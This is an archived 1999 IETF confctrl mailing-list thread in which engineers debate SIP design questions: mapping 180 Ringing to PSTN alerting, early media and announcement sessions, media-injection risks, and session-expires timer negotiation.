> media should be encrypted for privacy reasons; this has
> the advantage
> that unencrypted media (read: media from a party with whom
> you have not
> established a trust relationship) is not played out,
> eliminating this
> nasty attack.
>
> Now, to establish media encryption for the tones, you must
> establish a
> security relationship with the "network" element that is
> generating the
> tone. So, I would say what we need is to separate the
> original session
> and the "announcement" session as two totally separate SIP
> sessions. The
> announcement session would be explicitly set up from the network
> announcement element to the gateway. In this case, your
> call flow looks
> like:
>
>  PSTN            GW      User B    Announcement player
>  --------------------------
>  IAM-------->
>                  INVITE---->
>                  <-------100
>                  <-------180
>  <--------ACM
>
>                  <--------INVITE--------
>                  ------200 OK---------->
>
>  <------------ANNOUNCEMENT---------------->
>
>                  <----BYE---------------
>                  -----200 OK----------->
>
>                  <--------200
>
> The gateway would make sure the announcement session is
> authenticated,
> and only from some trusted set of parties which are allowed to play
> announcements.

MJC=> I agree with the concept that most media streams
will need encryption, but I am not sure the announcement
player concept fixes the problem. Apply the above
flow to the need for originating user to hear ringing.
If User B is not the actual entity generating the ringing,
but rather is expecting the originating UAC( the Gateway)
to provide the tone, when the 180 is received at the GW,
does GW provide tone or wait for the Invite from the
announcement player? Somehow the gateway will need to
understand that in this case the 180 really doesn't mean
ringing but rather wait for the announcement player.

Take this a step farther. If User B is actually accessed
through a terminating gateway in the following scenario.

PSTN		GW-A       GW-B    User B
------------------------------------
IAM-------->
		INVITE---->
                       IAM-------->
		<-------100
                       <---------ACM
		<-------180
<--------ACM
<----------------------------------Announcement

How could you invite an announcement player in
this sequence? GW-B would need to recognize the
announcement is happening(DSP resources?) and somehow
work a sequence to Invite an announcement player
into the flow. Then, how do you decide what
announcement to play?
At the same time, since GW-A does not know what
GW-B is, GW-A is in  a quandary, play ringing or
wait for the Invite. This could get real interesting.

I guess where the trouble starts is what does a
180 Ringing response really mean when inter-working
with the PSTN is encountered and how should a
UAC react upon reception of one?


>
> The advantage of having the announcements as a separate
> SIp session is
> that you can set them up at any time. Consider a SIP
> payphone - halfway
> through the call, the network needs to tell me to insert another 50
> cents. This is nearly impossible to do securely without
> establishing a
> separate session for the announcement. It also means the
> announcements
> and actual session can have different media compositions,
> and that we
> can apply SIP services to them for all kinds of potentially neat
> services (transfer the announcements to some multicast
> musak on hold or
> something).
>
> This also solves your problem. Since the media for the
> announcement is
> separate from the actual convesation, the gateway will
> know whether to
> pass it back or not.
>
> The cost - additional complexity, and an extra RTT before
> you can play
> the announcement.
>
> For this announcement session to work, we need a way for a
> SIP INVITE to
> be "associated" with an existing or in progress session, so the
> recipient knows that its not a new call, and doesn't ring the user.
>

MJC=> I like this concept of being able use separate sessions for
announcement and see where it could be very useful. I just don't
think it fixes the problem.


> Thoughts?
>
> -Jonathan R.
>
> --
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords
> Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX:   (732) 834-5379                       Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen
>


From confctrl-owner  Thu Feb 18 14:22:34 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA25076
	for confctrl-outgoing; Thu, 18 Feb 1999 14:22:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA25071
	for <confctrl@zephyr.isi.edu>; Thu, 18 Feb 1999 14:22:32 -0800 (PST)
Received: from ndcrelay2.mcit.com (ndcrelay2.mcit.com [166.37.172.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA26809
	for <confctrl@isi.edu>; Thu, 18 Feb 1999 14:22:31 -0800 (PST)
Received: from omzexch006.mcit.com (omzexch006.mcit.com [166.37.194.37])
          by ndcrelay2.mcit.com (8.8.7/) with ESMTP
	  id WAA24982; Thu, 18 Feb 1999 22:18:56 GMT
Received: by omzexch006.mcit.com with Internet Mail Service (5.5.2232.9)
	id <15QLHA05>; Thu, 18 Feb 1999 22:21:49 -0000
Message-ID: <CA6966C24AC6D111B5A100805FEAB7D857742C@nsrip00208.mcit.com>
From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
To: "'Jonathan Rosenberg'" <jdrosen@dnrc.bell-labs.com>,
        Lars Berggren
	 <lars.berggren@intertex.se>
Cc: Conference Control List <confctrl@ISI.EDU>
Subject: RE: Negotiation of session-expires refresh timer
Date: Thu, 18 Feb 1999 22:21:47 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE5B8D.12985BA6"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE5B8D.12985BA6
Content-Type: text/plain



> -----Original Message-----
> From:	Jonathan Rosenberg [SMTP:jdrosen@dnrc.bell-labs.com]
> Sent:	Thursday, February 18, 1999 3:07 PM
> To:	Lars Berggren
> Cc:	Donovan, Steven R. (MCI); Conference Control List
> Subject:	Re: Negotiation of session-expires refresh timer
> 
> Lars Berggren wrote:
> > 
> > To tell the UAC to add a session timer for this session the first SPS
> > that requires session timeouts can still have the option of returning
> > such a 4xx response. Now, if the UAC adds a Session-Expires header to
> > the next INVITE request, it is assumed that the UAC understands the
> > concept of session timers and everyone is satisfied.
> 
> But, if the UAC doesn't understand the session timer, the UAC gets the
> 400 response, tries again (without the timer header, of course), which
> generates another 400 response, and so on.
> 
> I think the best solution is that the UAC which is capable of using the
> session-expires should always insert it in the message, with any initial
> value it likes, or inifinity if it doesn't personally want to refresh. A
> proxy or UAS can modify the value if its there. If its not there, this
> means the UAC is unable or unwilling to refresh, so returning an error
> does not good anyway.
> 
	I agree, however, there needs to be a method for the proxy server to
understand whether or not the UAC will be doing refreshes.  This can be
achieved by the UAC including the final "negotiated" session-expires header
in the ACK to the 200 OK.  A UAC that cannot, or chooses not to, send
refresh INVITEs would not include a session-expires header in the ACK
message.  It would be up to the proxy server to decide what to do if the UAC
does not include the session-expires header.

> -Jonathan R.
> 
> 
> -- 
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX:   (732) 834-5379                       Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen

------_=_NextPart_001_01BE5B8D.12985BA6
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2232.0">
<TITLE>RE: Negotiation of session-expires refresh timer</TITLE>
</HEAD>
<BODY>
<BR>
<BR>
<UL>
<P><FONT SIZE=3D1 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">From:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Jonathan Rosenberg =
[SMTP:jdrosen@dnrc.bell-labs.com]</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Thursday, February 18, 1999 3:07 PM</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">Lars Berggren</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Cc:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">Donovan, Steven R. (MCI); Conference Control List</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D1 FACE=3D"Arial">Re: Negotiation of session-expires =
refresh timer</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Lars Berggren =
wrote:</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; To tell =
the UAC to add a session timer for this session the first SPS</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; that =
requires session timeouts can still have the option of returning</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; such a =
4xx response. Now, if the UAC adds a Session-Expires header to</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; the next =
INVITE request, it is assumed that the UAC understands the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; concept =
of session timers and everyone is satisfied.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">But, if the =
UAC doesn't understand the session timer, the UAC gets the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">400 response, =
tries again (without the timer header, of course), which</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">generates =
another 400 response, and so on.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">I think the =
best solution is that the UAC which is capable of using the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">session-expires should always insert it in the message, with any =
initial</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">value it =
likes, or inifinity if it doesn't personally want to refresh. A</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">proxy or UAS =
can modify the value if its there. If its not there, this</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">means the UAC =
is unable or unwilling to refresh, so returning an error</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">does not good =
anyway.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">I agree, however, =
there needs to be a method for the proxy server to understand whether =
or not the UAC will be doing refreshes.&nbsp; This can be achieved by =
the UAC including the final &quot;negotiated&quot; session-expires =
header in the ACK to the 200 OK.&nbsp; A UAC that cannot, or chooses =
not to, send refresh INVITEs would not include a session-expires header =
in the ACK message.&nbsp; It would be up to the proxy server to decide =
what to do if the UAC does not include the session-expires =
header.</FONT></P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">-Jonathan =
R.</FONT>
</P>
<BR>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">-- </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Jonathan D. =
Rosenberg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Lucent Technologies</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Member of =
Technical Staff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 101 Crawfords =
Corner Rd.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">High Speed =
Networks =
Research&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp; Holmdel, NJ 07733</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">FAX:&nbsp;&nbsp; (732) =
834-5379&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Rm. 4C-526</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">EMAIL: =
jdrosen@bell-labs.com</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">URL:</FONT><U> <FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New"><A HREF=3D"http://www.cs.columbia.edu/~jdrosen" =
TARGET=3D"_blank">http://www.cs.columbia.edu/~jdrosen</A></FONT></U>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01BE5B8D.12985BA6--

From confctrl-owner  Thu Feb 18 14:50:59 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA27325
	for confctrl-outgoing; Thu, 18 Feb 1999 14:50:59 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA27320
	for <confctrl@zephyr.isi.edu>; Thu, 18 Feb 1999 14:50:57 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA00517
	for <confctrl@ISI.EDU>; Thu, 18 Feb 1999 14:50:56 -0800 (PST)
Received: from omta2.mcit.com (omta2.mcit.com [166.37.204.3])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id VAA04311; Thu, 18 Feb 1999 21:50:00 GMT
Received: from localHost ([166.35.151.149]) by omta2.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990218225028.SSOG27406@localHost>;
          Thu, 18 Feb 1999 16:50:28 -0600
Date: Thu, 18 Feb 1999 16:48 -0600 (CST)
From: John Hearty <John.H.Hearty@mci.com>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
To: Conference Control List <confctrl@ISI.EDU>
CC: Lars Berggren <lars.berggren@intertex.se>,
        "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
        Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Subject: Re: Negotiation of session-expires refresh timer
Message-Id: <19990218225028.SSOG27406@localHost>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>> 
>> To tell the UAC to add a session timer for this session the first SPS
>> that requires session timeouts can still have the option of returning
>> such a 4xx response. Now, if the UAC adds a Session-Expires header to
>> the next INVITE request, it is assumed that the UAC understands the
>> concept of session timers and everyone is satisfied.
>
>But, if the UAC doesn't understand the session timer, the UAC gets the
>400 response, tries again (without the timer header, of course), which
>generates another 400 response, and so on.

The SIP spec states for 4xx responses that "The client SHOULD NOT retry
the same request without modification..."  It seems to me UACs should
have a minimum requirement to understand _all_ 4xx responses for the
supported SIP version, whether or not they can support the appropriate
modified re-try request, or if they don't understand the 4xx response,
don't retry the Invite.

>I think the best solution is that the UAC which is capable of using the
>session-expires should always insert it in the message, with any initial
>value it likes, or inifinity if it doesn't personally want to refresh. A
>proxy or UAS can modify the value if its there. If its not there, this
>means the UAC is unable or unwilling to refresh, so returning an error
>does not good anyway.

This should work OK, but if a proxy requires the session-expires timer,
it should still have the ability to reject the Invite, so a 4xx is
still needed.  The UAC just won't be able to retry the Invite through
that proxy when they don't support session-expires timers.

John H.
MCI Worldcom

From confctrl-owner  Thu Feb 18 15:05:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA28536
	for confctrl-outgoing; Thu, 18 Feb 1999 15:05:26 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA28531
	for <confctrl@zephyr.isi.edu>; Thu, 18 Feb 1999 15:05:25 -0800 (PST)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA02566
	for <confctrl@ISI.EDU>; Thu, 18 Feb 1999 15:05:23 -0800 (PST)
Received: from omta4.mcit.com (omta4.mcit.com [166.37.204.6])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id XAA18394; Thu, 18 Feb 1999 23:04:35 GMT
Received: from localHost ([166.35.151.149]) by omta4.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990218230506.TYME27243@localHost>;
          Thu, 18 Feb 1999 17:05:06 -0600
Date: Thu, 18 Feb 1999 17:03 -0600 (CST)
From: John Hearty <John.H.Hearty@mci.com>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
To: "Confctrl" <confctrl@ISI.EDU>
CC: "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>,
        "Matt Cannon" <matt.cannon@mci.com>
Subject: RE:  180 to ACM Mapping
Message-Id: <19990218230506.TYME27243@localHost>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>I guess where the trouble starts is what does a
>180 Ringing response really mean when inter-working
>with the PSTN is encountered and how should a
>UAC react upon reception of one?

 For that matter, how should an originating UAC react in a pure SIP
environment when it gets a 180?  I have heard SIP phones are already
available that locally generate ringback in this scenario.  This makes
sense, and if things are uniform, the PSTN gateway (acting like a UAC
on behalf of the PSTN caller) should also generate ringback when it
gets a 180.  Hence, it would seem some other 1xx response that triggers
an ACM for one way voice path cut through is needed.

John Hearty
MCI Worldcom


From confctrl-owner  Thu Feb 18 15:23:16 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA00385
	for confctrl-outgoing; Thu, 18 Feb 1999 15:23:16 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA00380
	for <confctrl@zephyr.isi.edu>; Thu, 18 Feb 1999 15:23:14 -0800 (PST)
Received: from redale.cisco.com (redale.cisco.com [171.69.95.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA04703
	for <confctrl@ISI.EDU>; Thu, 18 Feb 1999 15:23:13 -0800 (PST)
Received: from cisco.com (dhcp-71-147-164.cisco.com [171.71.147.164]) by redale.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id PAA22801; Thu, 18 Feb 1999 15:22:29 -0800 (PST)
Message-ID: <36CC9FD2.B7F12027@cisco.com>
Date: Thu, 18 Feb 1999 15:18:42 -0800
From: Anup Rao <anrao@cisco.com>
Reply-To: anrao@cisco.com
Organization: Cisco Systems
X-Mailer: Mozilla 4.03 [en] (WinNT; U)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Matt Cannon <matt.cannon@mci.com>, Confctrl <confctrl@ISI.EDU>
Subject: Re: 
References: <003501be5b63$d89e5e60$669223a6@MCANNON.MCIT.COM> <36CC7AAA.9D42CBAB@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:

[SNIP]

> Yes, this is a problem.
> 
> The problem is that you are allowing the gateway to receive RTP packets
> from the "network" or user B before the call is accepted. In addition to
> causing confusion as you describe, there is, in fact, a serious security
> problem here. If the gateway just blindly accepts media on its RTP
> ports, random users in the network can inject audio of all sorts into
> the gateway, provided they can guess the port number (1 in 65536 chance,
> probably less if you eliminate unlikely and odd ports). Ideally, all
> media should be encrypted for privacy reasons; this has the advantage
> that unencrypted media (read: media from a party with whom you have not
> established a trust relationship) is not played out, eliminating this
> nasty attack.


Here is another way one could do it. The caller can choose to require
the "inband-info" feature. If it supports the feature, the callee can
choose to return a session description  with the 180 Ringing response.
In effect, the voice-channel is  "connected" but the call itself is not.
On receving such a 180 response, the caller treats it as
"alerting/ringing" with inband info(that is received on the RTP port).
Securing the inband info is no different from securing the voicepath, in
this case we just do it earlier.  All of this is non-standard behaviour,
which the caller must  signal by including a Require: header with an
appropriate extension name in the INVITE request. A proxy would see the
header as well.

Pros that I can see :

a) Simple, and deals(I think :) with security issues.
b) Helps PSTN interworking, which is the problem mentioned here.

Cons :

a) What happens if you received 180 Ringing from more than one
destination if the INVITE is forked ? Again, I dont think this is any
different from receiving a 200 from multiple destinations. 
b) You need a Require header, so one would need an extra RTT for callees
who dont support the extension. Arguably, this could be avoided by
caching or configuration on the caller.(ie the caller "knows" that it is
calling a PSTN gateway that will likely support it).

Clearly, this is not as powerful as your suggestion. Some comments below
:

> Now, to establish media encryption for the tones, you must establish a
> security relationship with the "network" element that is generating the
> tone. So, I would say what we need is to separate the original session
> and the "announcement" session as two totally separate SIP sessions. The
> announcement session would be explicitly set up from the network
> announcement element to the gateway. In this case, your call flow looks
> like:
> 
>  PSTN            GW      User B    Announcement player
>  --------------------------
>  IAM-------->
>                  INVITE---->
>                  <-------100
>                  <-------180
>  <--------ACM
> 
>                  <--------INVITE--------
>                  ------200 OK---------->
> 
>  <------------ANNOUNCEMENT---------------->
> 
>                  <----BYE---------------
>                  -----200 OK----------->
> 
>                  <--------200
> 
> The gateway would make sure the announcement session is authenticated,
> and only from some trusted set of parties which are allowed to play
> announcements.
> The advantage of having the announcements as a separate SIp session is
> that you can set them up at any time. Consider a SIP payphone - halfway
> through the call, the network needs to tell me to insert another 50
> cents. This is nearly impossible to do securely without establishing a
> separate session for the announcement. It also means the announcements
> and actual session can have different media compositions, and that we
> can apply SIP services to them for all kinds of potentially neat
> services (transfer the announcements to some multicast musak on hold or
> something).

This is a very good point. It also re-underlines the issues for and
against an intermediary in the network having control over the data
stream. 
 
Here's a thought : The intermediary can send tone/announcement data
packets to the callers RTP port. The only thing we need is for the
caller to expect data from a different source address/port pair(and that
source only). If we had a way to signal that, things should work out.
This should be possible if the call signalling went through the
intermediary in the first place(which it should). The intermediary could
use a new method with the same Call-ID. Assuming that method is
ANNOUNCE:


caller---> INVITE ----> P ----->INVITE callee
....
caller<--- 200 OK <---- P <-----200 OK callee
(data flowing to/from caller<-->callee)

caller<---ANNOUNCE--- P
caller---->OK-------->P
caller<---announcement data --- P
Presumably the caller inserts the extra 0.01 cents(since calling is now
almost free :)
caller<--- END_ANNOUNCE---P

(data flowing to/from caller<-->callee)

> This also solves your problem. Since the media for the announcement is
> separate from the actual convesation, the gateway will know whether to
> pass it back or not.
> 
> The cost - additional complexity, and an extra RTT before you can play
> the announcement.

The complexity could be quite high. An additional port pair, and some
multiplexing/mixing if the tone/voice are actually sent over to the
PSTN. Yes, it is a tradeoff between features and complexity, but
doubling the port requirements per call seems excessive to me.

-Anup.

From confctrl-owner  Thu Feb 18 16:47:50 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA06536
	for confctrl-outgoing; Thu, 18 Feb 1999 16:47:50 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA06531
	for <confctrl@zephyr.isi.edu>; Thu, 18 Feb 1999 16:47:48 -0800 (PST)
Received: from kuccnx.korea.ac.kr ([163.152.1.254])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id QAA14419
	for <confctrl@ISI.EDU>; Thu, 18 Feb 1999 16:47:43 -0800 (PST)
Received: from brabo1.korea.ac.kr by kuccnx.korea.ac.kr (AIX 4.1/UCB 5.64/4.03)
          id AA141234; Fri, 19 Feb 1999 09:37:45 +0900
Received: from p_it1.impresstek.co.kr by brabo1.korea.ac.kr (SMI-8.6/SMI-SVR4)
	id JAA15280; Fri, 19 Feb 1999 09:44:00 -0900
Message-Id: <199902191844.JAA15280@brabo1.korea.ac.kr>
From: "=?EUC-KR?B?x9Egu/PAug==?=" <seh@brabo1.korea.ac.kr>
To: <confctrl@ISI.EDU>
Subject: remove
Date: Fri, 19 Feb 1999 09:44:22 +0900
X-Msmail-Priority: Normal
X-Priority: 3
X-Mailer: Microsoft Internet Mail 4.70.1155
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_01BE5BEC.6E09D460"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

ÀÌ ¸Þ½ÃÁö´Â MIME Çü½ÄÀÌ¸ç ¿©·¯ ºÎºÐÀ¸·Î µÇ¾î ÀÖ½À´Ï´Ù.

------=_NextPart_000_01BE5BEC.6E09D460
Content-Type: text/plain; charset=ISO-2022-KR
Content-Transfer-Encoding: 7bit

$)Cremove
------=_NextPart_000_01BE5BEC.6E09D460
Content-Type: text/html; charset=ISO-2022-KR
Content-Transfer-Encoding: base64

GyQpQzxodG1sPjxoZWFkPjwvaGVhZD48Qk9EWSBiZ2NvbG9yPSIjQzhFMEQ4Ij48cD48Zm9udCBz
aXplPTIgY29sb3I9IiMwMDAwMDAiIGZhY2U9Ig4xPDgyDyI+cmVtb3ZlPC9wPg0KPC9mb250Pjwv
Ym9keT48L2h0bWw+

------=_NextPart_000_01BE5BEC.6E09D460--


From confctrl-owner  Thu Feb 18 17:30:13 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA09505
	for confctrl-outgoing; Thu, 18 Feb 1999 17:30:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA09444
	for <confctrl@zephyr.isi.edu>; Thu, 18 Feb 1999 17:29:59 -0800 (PST)
Received: from redale.cisco.com (redale.cisco.com [171.69.95.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA19513
	for <confctrl@ISI.EDU>; Thu, 18 Feb 1999 17:29:58 -0800 (PST)
Received: from cisco.com (dhcp-71-147-164.cisco.com [171.71.147.164]) by redale.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id RAA00264; Thu, 18 Feb 1999 17:29:22 -0800 (PST)
Message-ID: <36CCBD8D.7272FBD5@cisco.com>
Date: Thu, 18 Feb 1999 17:25:33 -0800
From: Anup Rao <anrao@cisco.com>
Reply-To: anrao@cisco.com
Organization: Cisco Systems
X-Mailer: Mozilla 4.03 [en] (WinNT; U)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Matt Cannon <matt.cannon@mci.com>, Confctrl <confctrl@ISI.EDU>
Subject: Re: 180 to ACM mapping
References: <003501be5b63$d89e5e60$669223a6@MCANNON.MCIT.COM> <36CC7AAA.9D42CBAB@dnrc.bell-labs.com> <36CC9FD2.B7F12027@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anup Rao wrote:
> 
> Jonathan Rosenberg wrote:
> 
> [SNIP]
> 
> > Yes, this is a problem.
> >
> > The problem is that you are allowing the gateway to receive RTP packets
> > from the "network" or user B before the call is accepted. In addition to
> > causing confusion as you describe, there is, in fact, a serious security
> > problem here. If the gateway just blindly accepts media on its RTP
> > ports, random users in the network can inject audio of all sorts into
> > the gateway, provided they can guess the port number (1 in 65536 chance,
> > probably less if you eliminate unlikely and odd ports). Ideally, all
> > media should be encrypted for privacy reasons; this has the advantage
> > that unencrypted media (read: media from a party with whom you have not
> > established a trust relationship) is not played out, eliminating this
> > nasty attack.
> 
> Here is another way one could do it. The caller can choose to require
> the "inband-info" feature. If it supports the feature, the callee can
> choose to return a session description  with the 180 Ringing response.
> In effect, the voice-channel is  "connected" but the call itself is not.
> On receving such a 180 response, the caller treats it as
> "alerting/ringing" with inband info(that is received on the RTP port).
> Securing the inband info is no different from securing the voicepath, in
> this case we just do it earlier.  All of this is non-standard behaviour,
> which the caller must  signal by including a Require: header with an
> appropriate extension name in the INVITE request. A proxy would see the
> header as well.

Realizing belatedly that this is somewhat cryptic... here is what I am
proposing:

 What we need is to mimic cutthrough of voice path(one way) on ACM or
Alerting in the PSTN. We invent a feature/extension called
"Inband-Info". The caller signals its availability of this feature(and
hence desire to perform voice cut through before connect) by including
the header "Require: Inband-Info" in its INVITE request. The callee is
forced to either perform the feature(extension) or  reply back with a
5xx. If it does support it, it will include a session description with
the 180 Ringing response if it wishes to send Inband information such as
ringing. The caller, on seeing this 180 response will do the right thing
ie. cut through voice and perhaps send a ACM on the incoming side. In
effect, we will have what the PSTN has -  since voice is cut through
before the call is actually connected.


Eg.

A-->B
INVITE .....
Call-ID: ...
CSeq:...
Require: Inband-Info
Content-Type:

B--->A
100 Trying
....

B--->A
180 Ringing
Content-Type
Content-Length

{sdp desc}

<-----Inband info packets

B--->A
200 OK
Content-Type
Content-Length

{sdp desc}

A-->B
ACK
...
<------DATA------>


Another option, as John Hearty pointed out is to simply use another 1xx
code such as "1xx Inband-Info". The only problem with this is backward
compatibility, since an existing implementation will not treat it as
"Ringing". Using an extension is better because this requires specific
behaviour not expected of all SIP implementations, but mostly
PSTN-gatewaying ones.


-Anup.


> Pros that I can see :
> 
